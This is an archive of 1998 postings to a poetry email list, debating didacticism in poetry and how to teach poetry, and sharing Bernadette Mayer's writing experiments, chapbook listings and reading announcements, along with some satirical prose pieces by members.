> *As to whether this is what Stroffolino was posting about. . .I can't say, I wasn't there. For all I know the eye-rolling had more to do with the embarassment that poets would dismissive their own work out of hand, or embarrassment that one should have to apologize for being didactic.*

Yes. I don't know Connor's work, so I can't comment on the specifics, but I think we all know examples of poems that _are_ exasperatingly didactic.

> *. I could spend a great deal of time arguing over the semantics of a term like "didactic" (Are the Creedos in Conjunction 21 negatively didactic? Is Wole Soyinka? Is Charles Olson? Is there a difference between pedagogical and didactic?*

It's a difference of connotation, perhaps. I'd read "didactic", in Louis' post, as being close to "preachy". I love writing that's full of _stuff_, that teaches us obscure details about mediaeval heresies or Mexican cuisine or stamp collecting. But this is different from telling us what to think.

> *If a poem brings us to conclusions*
> *through a "process of discovery and argument" are those conclusions less*
> *didactic than the conclusions of the rhetorician--or is the poet just a*
> *slyer rhetorician?)*

As long as the emphasis is on our _own_ conclusions, rather than being forced to agree with the poets', then I wouldn't call it didactic.

Cheers,
Tom Beard.

↑ Index

665. joel lewis
Re: st. marks experiment book
Tue 29 Sep 1998

The three World anthologies are prose and poetry books.

A lot of St. Mark-type language experiments are found among many Teacher & Writer Books as excercises for students

Bernadette mayer's list of language experiments is found in the reissued LABGUAGE BOOK

joel lewis

↑ Index

666. Eliza McGrand
walking before running (teaching poetry)
Tue 29 Sep 1998

---

i suspect i'm about to make myself obnoxious to at least one or two people but here goes my cap over the dam...

don't know vendler's anthology/syllabs. but i don't think a very traditional syllabus is a bad start for learning to read poetry. i think, by virtue of having twigged onto existence of list, everyone here is probably already an "expert" poetry reader and forgets that...

reading poetry is HARD!

when one has been reading it for a long time, it is easy to forget those first baby steps. even if they ARE from harvard, i think the students are, at least some of them, probably very much beginners in poetry.

starting with a very traditional anthology means students get a chance to slowly work their way up the history of poetry, acquire a complex frame of reference, learn the "in" jokes. i think the idea of having a final student presentation of

off-syllabus work, with a list of suggested writers, is a great idea, but i would not confine students to list. i'd ask that they look at work from at least a few of suggested writers (have handy -- what the heck, harvard has money -- xerox one or two poems each from your suggested list), and if none of these writers appeals to them, have them pick their own but say they must o.k. it with you a solid amount of time in advance, and specify no duplicates. it would be interesting to see who they come up with.

i wouldn't let them start picking till at least a good way through semester, so they'll have some reading sophistication to use in choosing. if there are any students fluent in another language, you could suggest that they consider picking someone who writes in that other language. if student wants to choose someone who is not widely translated, have them read one poem in original language (providing translation as well) so people get sense of sound of original. have everyone xerox a selection of poems (3-7) from their chosen poet, and provide packet of these poems to class a couple of weeks in advance of presentations so people have time to read.

this would let you slip in a whole new feature to syllabus which is student-chosen. even the grade grubs will sit up and take notice if you put hefty grade value on presentation. you could specify "living poets" except there are some very interesting experimental writing from older writers.

anyway, that is my 50 cents on subject.

↑ Index

667. **Agent Sunshine, a.k.a. Eric Gleason**

Re: st. marks experiment book

Tue 29 Sep 1998

---

mark, thanks for the lead. i don't know if that's what i meant, but it sure sounds like what i'm looking for.

now i just have to lay my hands on a copy of that book....

eryque

> *Date: Mon, 28 Sep 1998 20:37:03 PDT*
> *From: Mark DuCharme <[redacted]>*
> *Subject: Re: st. marks experiment book.*
>
> *eryque:*
>
> *_Out of This World_ is an anthology which Anne edited of writings originally published in _The World_, St. Mark's literary magazine; I think this is about the third such anthology which she has edited.*

> *I don't know of a book that came from writing experiments done at St. Mark's, but it sounds interesting. Are you sure, though, you're not thinking of Bernadette Mayer's list of writing experiments, which was published in _In The American Tree_ & other places?*
>
> *Mark DuCharme*

↑ Index

668. **Stephen Cope**

Re: st. marks experiment book

Tue 29 Sep 1998

There's also THE ART OF SCIENCE WRITING, edited by Mayer w/ Dale Worsley, which consists of exeriments and examples re: writing about science (imaginatively and otherwise). It's geared mostly towards high school and early college students, but is certainly worth checking out. (It's written as a textbook for use in science courses).

Stephen

> *mark, thanks for the lead. i don't know if that's what i meant, but it sure sounds like what i'm looking for.*
>
> *now i just have to lay my hands on a copy of that book....*
>
> *eryque*
>
> *Date: Mon, 28 Sep 1998 20:37:03 PDT*
> *From: Mark DuCharme <[redacted]>*
> *Subject: Re: st. marks experiment book.*
>
> *eryque:*
>
> *_Out of This World_ is an anthology which Anne edited of writings originally published in _The World_, St. Mark's literary magazine; I think this is about the third such anthology which she has edited.*
>
> *I don't know of a book that came from writing experiments done at St. Mark's, but it sounds interesting. Are you sure, though, you're not thinking of Bernadette Mayer's list of writing experiments, which was published in _In The American Tree_ & other places?*
>
> *Mark DuCharme*

↑ Index

669. **K.Angelo Hehir**
Re: st. marks experiment book.
Tue 29 Sep 1998

> *i've heard rumor of a book that came from writing experiments done at st. marks some time ago. the way the book was described was that it gave descriptions of the experiments as well as the results. i also thought the book was editied by bernadette mayer, but i can't verify that either. does anyone know of such a book?*

I don't know about a whole book but 56 of these experiments can be found in

boundary 2 23:3,1996 i use them in poetry workshops with high school kids all the time. what is also an added bonus is that the immediate preceding page is the last section of an interview with Charles Bernstein that acts as a great little pep talk for me when i go into a new class.

au plutard,
kevin

Hourly a servant takes my temperature and gives me another.
Erik Satie

↑ Index

670. **Lawrence Upton.**
Re: UK Middle School
Tue 29 Sep 1998

You mean you haven't had an experience like that? or she didn't? OR I didn't? Well, I did and so do many still. Highest ever sickness rates. Cases going before courts for bullying and heavier stuff. Because your sister in law went to an okay school and didnt notice - as a pupil? they wouldn't see the bullying etc of teachers by teachers - doesn't mean it isn't happening elsewhere. Also, perhaps I didn't make clear, my experience was of a particular kind of inner city school but the diseases wch have been let loose in FE are now affecting pretty well all schools... They can't recruit enough teachers any more

Our chief inspector of schools wants to go back to kings and queens history and believes that everything canbe measured by the same yardstick. We have a national curriculum which changes by the month with deep prescription. Lives are being wasted - I was being quite serious and, at the risk of going off poetics task, trying to pass on useful experience. So I didn't expect facetious disbelief. I

am not at all interested in M.U. or any other lost continent of sport. And the weather has been fine.

A tourist a few years back said to a Greek in my hearing, listen I've been in Turkey for SIX WEEKS so I KNOW; you guys should get together

Anyway, think what you want. I'm going back to poetry while I wait for my time in court to come round

L

-----Original Message-----
From: Catherine Daly <[redacted]>
Date: 29 September 1998 04:48
Subject: Re: UK Middle School

|No no experience at all in that. A "sister-in-law" went to middle school |there and likes the Goosebumps series very much. She is now in Boston, |getting prepped for Vendler, no doubt. | |Has this something to do wth the purchase of Manchester United & the |performance of Murdoch's Dodgers? Or perhaps the overcast skies of late?

↑ Index

671. **J. Fuhrman**
Re: st. marks experiment book.
Tue 29 Sep 1998

Of course, Mayer's list is also on the electric poetry center website. (Thank god--since I am always misplacing it.)

Joanna Fuhrman
On Tue, 29 Sep 1998, K.Angelo Hehir wrote:

> *i've heard rumor of a book that came from writing experiments done at st. marks some time ago. the way the book was described was that it gave descriptions of the experiments as well as the results. i also thought the book was editied by bernadette mayer, but i can't verify that either. does anyone know of such a book?*
>
> *I don't know about a whole book but 56 of these experiments can be found in*
>
> *boundary 2 23:3,1996 i use them in poetry workshops with high school kids all the time. what is also an added bonus is that the immediate preceding page is the last section of an interview with Charles Bernstein that acts as a great little pep talk for me when i go into a new class.*

> *au plutard,*
> *kevin*
>
> *Hourly a servant takes my temperature and gives me another.*
> *Erik Satie*

↑ Index

672. **henry**
Re: walking before running (teaching poetry)
Tue 29 Sep 1998

If I had an hour class to teach, I would read 2 poems in class, one from the Vendler list & one of your own choosing. 2 short poems. Then I would "lecture" on them, half hour each, with all the references, ideas, sidelights, background, foreground, weird slants, etc. that you can come up with. I would start encouraging feedback from the 1st class & expect students to be active in the discussions as they get used to it.

I think you can give a class all the lists, anthologies & suggested readings you want but without that close extended encounter, they won't have the tools or the motivation to explore much. (by background I mean not just purely literary, but poet's bios, history, politics...)

Thoughts of a non-teach. - Henry G.

↑ Index

673. **Peter Ganick**
Potes & Poets chapbooks in detail
Tue 29 Sep 1998

As promised, here is more detailed information about our
chapbook series...

POTES & POETS' FIRST CHAPBOOK SERIES

Please order from SPD, 1341 Seventh Ave, Berkeley CA 94710 or tel.
[redacted]

ISBN PREFIX: 0-937013-

Drafts of the Sorcery. Jake Berry. $7.00 -81-1 *37pp

Jake Berry composed the 4 poems of Drafts of the Sorcery during the four seasons of the year beginning with autumnal equinox 1997. They are experiments in various approaches that will eventually be included in his long work BRAMBU DREZI, the second book of which was released by Pantograph Press

in spring 1998. Berry has published 15 books of poetry. He is also a folk musician, his first CD, Shadow Resolve appeared in 1997 from Front Porch, and he has just completed a second collection of original songs with Wayne Sides, performing under the name Bare Knuckles.

Studio As History. Ryan Whyte. $7.00 -78-1 *39pp

After the failure of the twentieth century's avant-gardes to liberate art from the confines of class and institution, it is perhaps necessary to re-examine the structures of those very confines. 'Studio as History' posits the myth of the Studio as the tain of a mirror which enables the art-world to continue to reverse the conditions of the 'real,' economic world of power and thus widen the gulf between art and life. A work of speculative historiography, this essay ranges among Greek history, Scholasticism, Romanticism, and phenomenology. Its author, Ryan Whyte, is an artist and critic.

Subterfuge for the Unrequitable. Carrie Etter. $6.00 -79-X *27pp

A collection of poems that contemplate the erotic as a subterfuge for the unrequitable, masking while inevitably revealing the discreteness of bodies and minds. Ron Silliman comments, "To 'register the tongue's torque,' Carrie Etter's poems show great skill and a willingness to take risks, both rare things in a 'first book.' This writing is simultaneously 'out there' and always also immediately present (in the most literal sense of 'with it'), an experience that is by turns centering and dizzying. It's quite a ride."

Quite Vacation. Jack Kimball. $6.00 -83-8 *27pp

A serialized, noirish gallop across tones and attitudes of language. Each verse stands on its own yet radiates outward to engage all the other co-conspirators in the sequence. Had Wieners or O'Hara wed the frog princess, their firstborn might have sounded like Kimball. Dickinsonian without parsimony, Spicerly without rancor. Alan Sondheim comments, "Just wonderful, that's all I can say, wonderful."

Improvisations / Transformations. Jim Leftwich. $7.00 -76-5 *45pp

Three poems: *Alto Ossia*, *Unambiguous Eggs* and *Unambiguous Eggs* full of neologisms, unusual visual spacings, and dense musical text make up this unique chapbook from the editor of JUXTA and JUXTA/ELECTRONIC. From *Alto Ossia*: "yntaxtly em to dyne. meat rose singerprints fght mission. ..." Words, sentences and poems on the edge of meaning that tantalize the reader's mind to finesse around the spaces between reality and pure syntactic innovation.

Little Wives. Barbara Cole. -82-X $7.00 *35pp

little wives "...aims at nothing less than re-entering the women of modernism--producers, compromised producers, and triumphant poets, as well as re-locating significant creations of male modernists (Molly Bloom) that have structured thinking about the female character in the 20th century." -- Rachel Blau DuPlessis. Barbara Cole recently completed her M.A. in Creative Writing -- Poetry at Temple University. An editor of the the new poetry magazine, *pH*, her second chapbook, *postcards*, is due out in Winter 1998 from Beautiful-Swimmer Press.

Sarah Mangold. Blood Substitutes. $7.00 -77-3 *45pp

"I sometimes :skip skip: it's about// affection it's all a fiction// I wanted - - I'm - - a place// wolves to the lake//. . .". Mangold has been published in Fourteen Hills and The Midland Review. She was born in 1971 in Omaha, Nebraska and grew up in Kansas and Oklahoma. She received a BA from the University of Oklahoma and is currently a MFA candidate at San Francisco State University. This work represents a diaristic venture into the poet's daily life that is enigmatic in its short phrases and disjunct manner of reporting that life.

Music, No Staves. Katy Lederer. $6.00 -80-3 *22pp.

In MUSIC, NO STAVES, which begins as an elegy and ends as a love poem, Lederer explores the relationship between father and daughter via a series of traditional, though nonetheless scandalous tropes. The form of the poem - which is sometimes mimetic, sometimes disruptive, but always furtive in its effects-acts as counterpoint to the gravity of the subject-matter. Originally from New Hampshire, Katy Lederer lives in New York City, where she edits Explosive Magazine. She has another chapbook out from idiom press entitled Faith.

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674. **Sylvester Pollet**

Re: thanks

Tue 29 Sep 1998

At 7:50 PM -0400 9/28/98, Jacques Debrot wrote:
>Thank you, everyone who got back to me, for your terrific sugestions; can't
>wait to put them to use.
>
>j

And if all else fails, hit 'em with the Pisan Cantos:

Said Mr Adams, of the education,
Teach? at Harvard?
Teach? It cannot be done.
(LXXIV/433)

↑ Index

675. **henry**
Re: Levistky--O'Connor
Tue 29 Sep 1998

Chris drops another bombshell on the list - we haven't had many lately.

Why is didacticism taboo among the "avant-garde"? he asks. But the word has a negative ring not just among the avant-garde. Joseph Brodsky was one not-so-avant-gardist who thought & wrote in various ways that aesthetics precedes, underwrites, ethics. This probably had more to do with his position in Russian poetry than in the West. But it seems pretty representative among artists.

Chris's described audience may have rolled their eyes because art is a kind of discipline, a cultus. The askesis of invisible poetry is rewarded with a shared experience "purified" of extraneous issues. The cultus in fact finds didacticism unethical within the system in which art is enclosed in its own play sphere.

The irony is that "alternative" art is in part an alternative to a society perceived to have lost its bearings. A sort of fallen world in which public discourse & the institutions that underwrite it - public schools, journalism, politics, local communities, shared labors - are seen variously as corrupt, confused, betrayed, misled, oppressive, oppressed, etc.

I don't happen to agree with the Brodsky view; I don't think either ethics or aesthetics are "prior" to one another. Thus the idea of a poetry that teaches, or denounces, is not automatically anti- aesthetic; nor is a poetry that skillfully renders itself as art-for-art's-sake necessarily poetry. One must take a deep breath and consider the radical idea that poetry might speak with authority & glee at the same time. Hey Pushkin!

- Henry Gould

[p.s. I know these ain't nothin new to youse all. Eric Blarnes was talkin up this stuff just the other day.]

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676. **daniel bouchard**
Re: thanks
Tue 29 Sep 1998

The students had already elected courses numbered 1, 2, and 3, without knowing what was to be taught or who was to teach. If their new professor had asked what idea was in their minds, they must have replied that nothing at all was in their minds, since their professor had nothing in his, and down to the moment

he took his chair and looked his scholars in the face, he had given, as far as he could remember, an hour, more or less, to the Middle Ages. ...

The only teaching that appealed to his imagination was a course of lectures by Louis Agassiz on the Glacial
Period and Paleontology, which had more influence on his curiosity than the rest of the college
instruction altogether. The entire work of the four years could have been easily put into the work of
any four months in after life. ...

The task was doomed to failure for a reason which he could not control. Nothing is easier than to
teach historical method, but, when learned, it has little use. History is a tangled skein that one may
take up at any point, and break when one has unravelled enough; but complexity precedes evolution.
The Pteraspis grins horribly from the closed entrance. ...

Thousands of men have to do the same thing, but his case was peculiar because he had no need to do it. He did it because his best and wisest friends urged it, and he never could make up his mind whether they were right or not. To him this kind of education was always false. For himself he had no doubts. He thought it a mistake; but his opinion did not prove that it was one, since, in all probability, whatever he did would be more or less a mistake. He had reached cross-roads of education which all led astray. What he could gain at Harvard College he did not know, but in any case it was nothing he wanted.

At 10:23 AM 9/29/98 -0400, you wrote:
>At 7:50 PM -0400 9/28/98, Jacques Debrot wrote:
>>Thank you, everyone who got back to me, for your terrific sugestions; can't
>>wait to put them to use.
>>
>>j
>
>And if all else fails, hit 'em with the Pisan Cantos:
>
> Said Mr Adams, of the education,
> Teach? at Harvard?
> Teach? It cannot be done.
> (LXXIV/433)
>

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677. **MAYHEW**
didacticism
Tue 29 Sep 1998

When I try to think of didactic poems I am fond of they are all tongue in cheek, like Koch's "Some General Instructions" or Notely's hilarious extension of this concept in a poem I read recently in her selected poems.

Of course, Pound is very DIDACTIC also, that is what that "village explainer" quip was all about.

Williams picks up on this Poundian tone when he takes that "Let me tell you, my townspeople, how to conduct a funeral" or "Rather notice, mon cher, how the steeple" tone. Wrongly or rightly, most contemporary readers don't like to be brow-beaten. What is didactic is not the conveyance of a message per se, but a certain rhetorical gesture equivalent to grabbing you by the lapels. There are powerful poems that we might not think of as didactic because they skip this gesture, The Crowd at the ball game, The Yachts, In Chains:

When blackguards and murderers
under cover of their offices
accuse the world of those villainies
which they themselves invent to
torture us--we have no choice
but to bend to their designs,
buck them or be trampled while
our thoughts gnaw, snap and bite
within us helplessly--unless
we learn from that to avoid
being as they are, how love
will rise out of its ashes if
we water it, tie up its slender
stem and keep the image of its
lively flower chiseled upon our minds.

Jonathan Mayhew

↑ Index

678. **Jordan Davis**
Kyle's didactics / Rachel's energy
Tue 29 Sep 1998

Chris --

Well, Kyle _did_ apologize four or five times for the didacticism --
so that the apology (as well as the didacticism)

became a running gag
at which the audience members were almost _supposed_ to roll their eyes --
not to mention suspend the inquiry
as to whether these poems were in fact instructional --
didn't you think they were more moral
(a la Laforgue or early Eliot?) than instructional?
Nice to hear an epigraph from Valery in 1998 --
the ur-Wittgenstein?

--

Also, with all this talk about didacticism and Kyle's enjoyable stance Rachel's wild funny thoughtful reading seems to have been set aside -- do writers come out of schools? Rachel seems recognizably _of_ Naropa, in that she's much more interested in accumulating energy than in dispelling it with asides and remarks, but there's critical thought along with the joy -- is this all hooey I'm saying? maybe, anyway, looking forward to further readings and writings from Kyle and Rachel -- Jordan

↑ Index

679. **Poproj**
Re: the dog & the disrupted surface
Tue 29 Sep 1998

> *_Out of This World_ is an anthology which Anne edited of writings originally published in _The World_, St. Mark's literary magazine; I think this is about the third such anthology which she has edited.*
>
> *I don't know of a book that came from writing experiments done at St. Mark's, but it sounds interesting. Are you sure, though, you're not thinking of Bernadette Mayer's list of writing experiments, which was published in _In The American Tree_ & other places?*
>
> *Mark DuCharme*

No boke of experiments from Poetry Project, tho' the Mayer list of writing experiments can be found at project website -- www.poetry project.com -- which at the moment has work in it's various satchels by Paul Beatty, Brenda Coultas, Jackson MacLow, Rosa Alcala, Alice Notley & bunches of others.

I would second the first hand for Teachers & Writers books -- Padgett-edited book of forms, Larry Fagin's book on the list poem, & lots of others which Jordan Davis could elaborate on with more depth; would even say that the book on forms might be the thing for Jacques' Harvard poetry section.

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680. David Baratier

Philly's didactics

Tue 29 Sep 1998

You're going to have to pry our didacticism from our cold unmoving hands.

To start up a reading series call everyone you know and convince a few of them that they are poets until they start to write something then ask them to retype it and ask them to send it to Epoch and stand up among a group of other acoyoltes who have been trained in the same capacity and switch back and forth. Until their mouths are dacytl weapons. A pack of poets is best to groom. That way they can rob and loot others and split the gun rental cost five ways in order to support their craft. Never apologize unless it's funny or can be made so. Blood rituals are necessary so a knife is in order. I am sorry we made pirogues out of your grandmother, but we thought you should have some. They are your pirogues now. Have the weakest member of the pack read and explain experimental poetries to toughen them. Suggest a metrical structure which emphasizes heavy breathing in so far as to allow them to write poems throughout the day. Banks have more money than bodegas. Hand over the signed hardcover first editions. I am sorry you are better looking than your mother. Have one of them be a huffer of any known propellant forms. This will thicken the plot of your story especially if one gets a good dose of airplane glue in their nose. Since fiction pays better this could help in the long haul. Calling yourself a poet is a cop out and a breech of poetics. Have a secret poetic handshake. Like this. I'm sorry. Make sure they know they are in it for the long haul. That leaving or staying with poetry will kill them, one faster than the other.

Jordan: Kyle comes from the Philadelphia school if this was really a school. Perhaps it would "include" all the folks who centered around my house for two years starting about four yrs ago for a workshop that met once or twice a month : Valerie Hanson, Kevin Varrone, Ethel Rackin, Ron Powerhaus Swegman, Major Jackson, Steve Potter, Dave Simpson, Laura Wilder, Ron Wandover, Matt Danish and others. Except for a sense of magick there, as evidenced through the amount published afterwards, the journals edited since, the reading series run, that we're real active, what else is there to say. Except this.

Be well

David Baratier

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681. **james perez**
Re: didacticism
Tue 29 Sep 1998

Is Mark Wallace's, "How to Finish a Story..." didactic...see (thanks to his EPC page)
http://writing.upenn.edu/epc/authors/wallace/finish.html

-or-

Mark, is the above didactic.

As to didactic being a little on the taboo side in poetry; maybe it's a good enough thing, 'cuz pieces I find to be faux-didactic (tongue in cheek) are that much better for it?

lastly, anybody in the DC metro area, you can get directions to tonights Di-Palma reading at the GMU bookstore by calling 703/[redacted], then press 6. If the directions are no good, I'll be lost in the same place. Just a reminder, starts at 8pm, bookstore, lower level

jperez/[redacted]/[redacted]

_____
Get Your Private, Free Email at http://www.hotmail.com

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682. **Aldon Nielsen**
Susan Wheeler Reading in L.A.
Tue 29 Sep 1998

I hope all of you will try to come to the campus of Loyola Marymount University in Los Angeles for:

Susan Wheeler

Tuesday October 6

7:30 PM

McIntosh Center in Sullivan Hall

for those of you flying out from New York, this is just a few minutes from the L.A. airport -- Those with nerve to drive the freeway, take the Manchester exit from the 405 and drive toward the ocean -- turn right on Loyola Blvd. -- from Santa Monica and environs, you might want to take Lincoln to Manchester to avoid the 405 --

call [redacted] for info -- that's me

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683. Agent Sunshine, a.k.a. Eric Gleason
Re: mayer's experiments
Tue 29 Sep 1998

---

someone backchanneled a message to me earlier with an url for mayer's experiments. somewhere that message was lost and returned to the earth, it's no longer on my email account. would you mind sending again?

thanks once more,
eryque

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684. Marcella Durand
St. Mark's Experiment Book
Tue 29 Sep 1998

I think Anselm may have posted this information directly from the office already, but just in case ...

You can find Bernadette Mayer's List of Journal Ideas & Writing Experiments posted on the Poetry Project web site: www.poetryproject.com. It's linked through the Workshops Page. If you have trouble finding it, please e-mail me at [redacted]. Eventually, the section will be linked to the welcome page.

Also, as Bernadette said at the bottom of the original: "Please add your own experiments to this list." We've added an e-mail link at the bottom for you to do so.

The Poetry Project website also has World archives now, including poems by Paul Beatty, Jackson Mac Low & Eric Bogosian. Small right now, but more to come soon ...

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685. Chris McCreary
Re: Philly's didactics?
Tue 29 Sep 1998

In a message dated 9/29/98 9:33:44 PM Eastern Daylight Time, [redacted] writes:

<< Jordan: Kyle comes from the Philadelphia school if this was really a school. >>

No offense to Kyle, David, or anyone else mentioned in that message, but... if there is only one Philly school, can we at least have different classrooms? Or do the rest of us have to stand out back & clap the erasers?

Chris

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686. **Kathy Lou Schultz**
Re: teaching poetry
Tue 29 Sep 1998

Precisely! In fact I taught Plath right up against Cha in the class in which Cha was a top-of-the-charts hit. I used the rubric of "identities" and the "personal" throughout the semester, and the students at San Francisco State really responded to all the "difficult" texts I put before them. In fact my willingness to teach such a variety of work really allowed the students to loosen up in their own creative experiments. What it's really about is igniting the students with excitement about the possibilities of language. Yes, teaching poetry IS difficult. Reading poetry IS difficult. And many students--I don't care if they're at Harvard or where they come from--are intimidated by the very thought of studying poetry. It's a great gift you give students when you equip them with the tools necessary to read a poem.

Kathy Lou Schultz

MAXINE CHERNOFF wrote:
>
> Believe it or not, innovative practice can be included side-by-side with
> the more traditional syllabus as long as you're able to stretch
> definitions. Maybe the traditional syllabus says, for example,
> autobiography or uses of the personal. Maybe "Daddy" by Plath is there.
> Why not juxtapose it with sections of "My Life" by Hejinian? Students
> then can see the range of what personal can mean.
>
> Maxine Chernoff
>
> On Mon, 28 Sep 1998, Kathy Lou Schultz wrote:
>
> > One of the greatest successes I've had as far as an individual text goes
> > is teaching _Dictee_ by Theresa Hak Kyung Cha. Ways into this from
> > VendlerLand? Start charting out the relationship of poetry/poetics/poets
> > to the visual arts. New York School--obvious--canonical choices there.
> > Then provide a contemporary example such as Cha who was also a film-
maker
> > and visual artist. There's also a lot that can be done in terms of
> > examining what a "personal narrative" what encompass--always a favorite
> > of self-obsessed undergrads, Harvard or otherwise.

> >
> > My advice: Don't think in terms oppositions (good/bad,
> > canonical/noncanonical) but instead provide examples around the map that
> > illustrate different ways of thinking and composing. And just think, you
> > have the opportunity to teach students how to read poetry. Most college
> > English majors don't know how to read the stuff, but a great teacher can
> > open that door. Have fun!
> >
> > Kathy Lou Schultz
> >

↑ Index

687. **Susan Schultz**
Re: another course request
Wed 30 Sep 1998

I'm doing book orders for a "Foundations of Creative Writing" course next term. I'm going to have students read some defenses of poetry, but I'm wondering if there's anything comparable for prose. Defense of Prose? Any good attacks on that genre? Thanks in advance,

Susan Schultz

↑ Index

688. **Charles Alexander**
Re: another course request
Wed 30 Sep 1998

At 09:58 AM 9/30/98 -0500, you wrote:
>Prose is indefensible. But seriously, I think Sidney and Shelley were
>defending not poetry as a genre, or "verse," but poesie in a larger sense;
>their defenses (or apologies) apply beyond what we think of as "poetry"
>today.

as does Aristotle

on a more recent note, in 1996 Burning Deck published Paul Auster's book, *Why Write?* which collects seven pieces which might be thought of as Auster's "defense."

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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689. **dbkk**

October 3 "Cirque de Soiree" in San Francisco

Wed 30 Sep 1998

Hi everyone, it's Kevin Killian. On Saturday October 3rd here in San Francisco we're having a big fundraiser for Small Press Traffic Literary Arts Center. It'll be at New College (766 Valencia, between 18th and 19th) between 4:00 and 9:00 p.m.

I hope all of you who are free that day and will be nearby will come. "Cirque de Soiree" is our fourth annual literary "soiree" & auction and you're guaranteed lots of fun. Tickets are on a sliding scale, you can pay as little as $10 or as much as $1000. Here are some of the highlights:

This year we honor six local writers, the biographers Diane Wood Middlebrook, John Felstiner, and Millicent Dillon; the novelist Michael Nava; and the poets Kathleen Fraser and Clark Coolidge . . . all have promised to show up, live, in person, and Kathleen will read.

Tons of food donated by the top restaurants, delis, groceries and health food stores of the Mission! Live music by all these different local acts! Palm reading! Cash bar!

Poets' Theater: my own play, directed by me, "The House of Forks" with a cast of Bay Area's greatest and hammiest talents, including Edmund Berrigan, Taylor Brady, Maxine Chernoff, Norma Cole, Renee Gladman, Lauren Gudath, Kevin Killian, Nathen Lever, Yedda Morrison, Ed Moyer, Jocelyn Saidenburg, and Elizabeth Treadwell. You won't believe your eyes and ears.

Manuscript Auction: From the high to the low and back of contemporary literature. Catalogue available . . . E-mail me or call me if you want a copy.

Books signed by Paul Auster, William Bronk, William S. Burroughs, Allen Ginsberg, Nikki Giovanni, Stephen King, Gary Snyder, Gertrude Stein, . . . and we are so pleased by being able to auction off our great gift from Granary Books, the incredible "KIN" collaboration between Anne Waldman and Susan Rothenberg. (Thank you Steve Clay for this and many other books from Granary.)

MORE! Signed broadsides, graphic works, photographs, etc., other memorabilia from Robert Creeley, Ronald Johnson, Amy Tan, Robert Berg & Robin Blaser, Ray Bradbury & Jill Krementz, Julia Child, David Cronenberg, Sandra Dee, Robert Duncan & Jess, Greg "Luann" Evans, Alice Notley, and Anne Rice--the Queen of the Night . . .

Manuscript material from Anne-Marie Albiach (yikes! The entire manuscript of "A Geometry"--in French!), Will Alexander, Djuna Barnes, Paul Cadmus, Anne Carson, Noam Chomsky, Clark Coolidge, Lydia Davis, Lawrence Ferlinghetti, William Gibson, Barbara Guest, Thom Gunn, Fanny Howe, Kenneth Koch, Dean Koontz, Carole Maso, Jan Morris, Michael Ondaatje, and Phyllis A. Whitney . . . Yes the high and the low! And yes you can afford any of these items! Walk away with your own copy of the "Making of Americans" signed by Stein! Or whatever.

And maybe you'll get lucky with our raffle, many valuable prizes, many lucky winners. So, all of these things will be happening simultaneously this Saturday October 3rd, between 4 & 9, for more information, call [redacted].

Or, back channel me with all of your questions. Thanks everybody. I want you all to know that our volunteer committee of 29 people have been working for months to show you a real good time, and all the proceeds go to help the cause of poetry and poetics here in San Francisco at Small Press Traffic. So come on down!

Thanks again . . . Kevin K.

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690. **Rachel Levitsky**

Re: Levistky--O'Connor

Wed 30 Sep 1998

Perhaps tacky to respond to a thread with my name on it the irony that my name (spelled deliciously wrong) heads a thread on someone elses didacticism when I, the FEMINIST, with a capital finger pointing at me would be accused of it and yet I have nothing to do with all of it though I in fact think my ultimate goals are THOROUGHLY DIDACTIC. For example, this from Yaya and Grace: ---------- Yaya and Grace get together to declare:

For now on sexual love will be a matter only between women. The penis will be not more than an auto-erotic stand. Some men when faced with this new edict will augment their breasts and dress in a manner customary for women. Women will accept these men into their couplings only if they chose to refrain from making what is sublime grotesque. Use of the grotesque will be reserved for the naturally exagerated behavior patterns of those walking alone. There will be no live performance of sexual love for those excluded, the video can be purchased for $10.00. A registration form will be filled out and a positive identification number will be recorded. Be prepared to give us your mother’s maiden name with the correct spelling and the time, place and date of her birth. You will need to provide this information if you would like to review the results or, your homosexuality. Rest assured, all is confidential.

Note: Currently, no explanation is being offered for the new prohibitions so please don't ask. To do so will cause unseemly physical ailments, mainly having to do with the hands and the feet. In particular, fungus on the nails. The will grow thick and ridged and yellow, making future couplings unlikely.

↑ Index

691. Gabriel Gudding
Teachers Awarding Students Prizes
Wed 30 Sep 1998

I want to compile a list of contest judges who have awarded prizes to their students.

It doesn't matter if the judges are mainstream poets or otherwise.

Someone who's very good at rewarding his students for emulation is Charles Wright. He's chosen at least two of his former students for book prizes (one twice).

Heather McHugh has. Jorie Graham has.

In each case I would like to know the name of the student as well as the name of the judge, because, as I say, some teachers have done this many many times.

Would anyone know of others besides Graham, McHugh, Wright?

Instances from previous decades?

Gabriel Gudding

↑ Index

692. Rachel Loden
Levistky--O'Connor
Wed 30 Sep 1998

Rachel Levitsky wrote:

> *For now on sexual love will be a matter only between women. The penis will be not more than an auto-erotic stand.*

I thought perhaps a hat rack.

> *Some men when faced with*
> *this new edict will augment their breasts and dress in a manner customary for women. Women will accept these men into their couplings only if they chose to refrain from making what is sublime grotesque.*

Damn! I'll miss you, George.

> *Use of the grotesque will be reserved for the naturally exagerated behavior patterns of those walking alone.*

And will be strictly regulated by the Ministry of Silly Walks.

(the other) Rachel L.

↑ Index

693. **MAYHEW**
Re: another course request
Wed 30 Sep 1998

Prose is indefensible. But seriously, I think Sidney and Shelley were defending not poetry as a genre, or "verse," but poesie in a larger sense; their defenses (or apologies) apply beyond what we think of as "poetry" today.

On Wed, 30 Sep 1998, Susan Schultz wrote:

> *I'm doing book orders for a "Foundations of Creative Writing" course next term. I'm going to have students read some defenses of poetry, but I'm wondering if there's anything comparable for prose. Defense of Prose? Any good attacks on that genre?*
> *Thanks in advance,*
>
> *Susan Schultz*

Jonathan Mayhew

↑ Index

694. **Rachel Levitsky**
Re: hate to
Wed 30 Sep 1998

---

have to do this but

DAVID BROMIGE

I am trying really hard to send you email and it just wont work. Backchannel and I'll try some more with that.

Sure I have your address correct,
Rachel

↑ Index

695. **David Baratier**
Re: Philly's didactics
Wed 30 Sep 1998

I'm sorry I left you out Chris. You were the one with the Wizard Dual Action spray, right?

Be well

David Baratier

↑ Index

696. **Jim McCrary**
Re: First Intensity #11
Wed 30 Sep 1998

Latest edition of First Intensity now avalable. #11 features: McNaughton, Adnan, Irby, Enslin, McCrary, Economou, Gifford, Hollo, Borkhuis, Podgurski, Ricchiute, Cook, Gilbert, Fox, Larkin, Reeves, Salerno, Robinson, Olson, peck, DuCharme, Shattuck, Pines, Roeseler.

